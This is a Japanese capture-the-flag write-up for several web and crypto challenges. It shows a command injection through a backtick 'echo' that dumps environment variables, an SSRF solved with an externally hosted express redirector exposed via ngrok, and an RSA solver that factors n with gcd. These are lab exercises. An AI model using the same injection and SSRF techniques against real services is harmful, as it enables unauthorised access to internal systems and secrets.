[web] perling_perler
perlで出来たサイトが与えられる。環境変数にフラグが置いてある。ソースコードの重要な部分は以下。
post '/echo' => sub { my $str = body_parameters->get('str'); unless (defined $str) { return "No input provided"; } if ($str =~ /[&;<>|\(\)\$\ ]/) { return "<h2>echo:</h2><pre>Invalid Input</pre><a href='/'>Back</a>"; }; my $output = `echo $str`; return "<h2>echo:</h2><pre>$output</pre><a href='/'>Back</a>"; };
ユーザー入力の$str
を見ると、&;<>|()$
が使えないように検証していて、`echo $str`
のようにコマンド呼び出しに使われている。コマンドインジェクション出来そうなので、適当に使える文字から`env`
とするとフラグが得られた。
[web] Shortnm
URL短縮サービスを作りました。
First Blood。サーバーは2つ用意されていて、片方が外部に公開されているアプリサーバーで、もう1つは内部からのみアクセスできるフラグサーバー。
フラグサーバーは以下のような実装。
from fastapi import FastAPI, Request from fastapi.responses import PlainTextResponse app = FastAPI() @app.get("/flag") async def get_flag(request: Request): host = request.headers.get("host", "") if host == "flag:45654" and request.url.port == 45654: return PlainTextResponse("TSGLIVE{REDACTED}") return PlainTextResponse("Access denied", status_code=403)
よって、http://flag:45654/flag
を呼び出せればフラグが返ってくる。つまり、アプリサーバー側でSSRFしてその内容が取得できる必要がある。その情報を元にアプリサーバーを読むと、以下の点が怪しい。
@app.get("/shortenm") async def shortenm(url: str = Query(...)): short_id = generate_id() url = 'http://localhost:8000/shortem?format=json&url='+url async with httpx.AsyncClient(follow_redirects=True) as client: response = await client.get(url) url = response.json()["shorturl"] r.set(short_id, url) short_id = generate_id() async with httpx.AsyncClient(follow_redirects=True) as client: response = await client.get(url) return Response(content=response.content,status_code=response.status_code,media_type=response.headers.get("content-type"))
リダイレクトが許可された状態で取得して、その中身を出力している。早解きを優先して、ちゃんと確認していないが、直接は呼べないだろうということで、リダイレクトを経由して呼ばせることにする。以下のようなリダイレクトサーバーを用意し、ngrokで公開し、そのURLをGET /shortenm
経由で読ませるとフラグが得られる。
// 適当な場所で`npm i express`して`node redirector.js`で起動、`/opt/ngrok http 3000`でngrok用意。 const express = require('express') const app = express() const port = 3000 app.get('/', (req, res) => { res.redirect('http://flag:45654/flag'); }) app.listen(port, () => { console.log(`Example app listening on port ${port}`) })
[web] iwi_deco_demo 解けず
JavaのWebアプリはSpring Bootで書くといいらしいです。
SSTIできる箇所が一生見つからず終わり。@{'/user/__${userId}__/settings'}
と"@{/user/{id}/settings(id=${userId})}
で書き方が違うねということは気づいていたのに、なぜそのヒントを大事にできないのか…
[crypto] Unnecessary Thing
暗号文一個じゃ足りない? しょうがないやつだねえ。ほら、おまけだよ。
ソースコードは以下。
from Crypto.Util.number import getStrongPrime, bytes_to_long from flag import flag p = getStrongPrime(512) q = getStrongPrime(512) n = p * q e = 65537 m = bytes_to_long(flag.encode()) assert m < n c = pow(m, e, n) cp = pow(m+p, e, n) print(f"{n=}") print(f"{e=}") print(f"{c=}") print(f"{cp=}")
Franklin-Reiter Related Message Attackっぽい見た目はしているが、m+pのpは不明なので使えない。cpの方の式を展開してみよう。
このとき、[tex:me]は既にcとして与えられているので、以下のように引き算することができる。
この式の右辺を見ると全てpがかけられているのではpの倍数になることが分かる。よって、同様にpの倍数であるnとGCDを取ればpが得られ、nの素因数分解が可能になる。これを実装したのが以下で、動かすとフラグが得られる。
n=113848976691816529412353288353434516248350236084108173798388011730446575498532101181970551229558448491554146100916598598644399716705779759442896244491893934229652371305593092501397461502082542035705864163680009579469363009905785985948594381841301875025743266193800883094355897094329679006391279259361822592657 e=65537 c=67103957270339774904434611308874035749190329450026295613000691170744770398567886634249043441310331743711734092811565436083308201670878005561003470320594090769059799477585765946327866854618977848424687962738057700719728924175419028663672597517615947126157927551559168806869664050731818316337809475028581279782 cp=15293102229247166750976885518461073034520636256742291030355629534093544514258485910897757060045476109646628488748823652005699136184981891883794284690508038803210397343926433011430811798482179001774429749116676973109542250269097851762953181363091270104660431148714880402228633721625810275047682873920643079112 p = gcd(cp - c, n) q = n // p from Crypto.Util.number import long_to_bytes phi = (p-1)*(q-1) d = pow(e, -1, phi) print(long_to_bytes(pow(c, d, n)))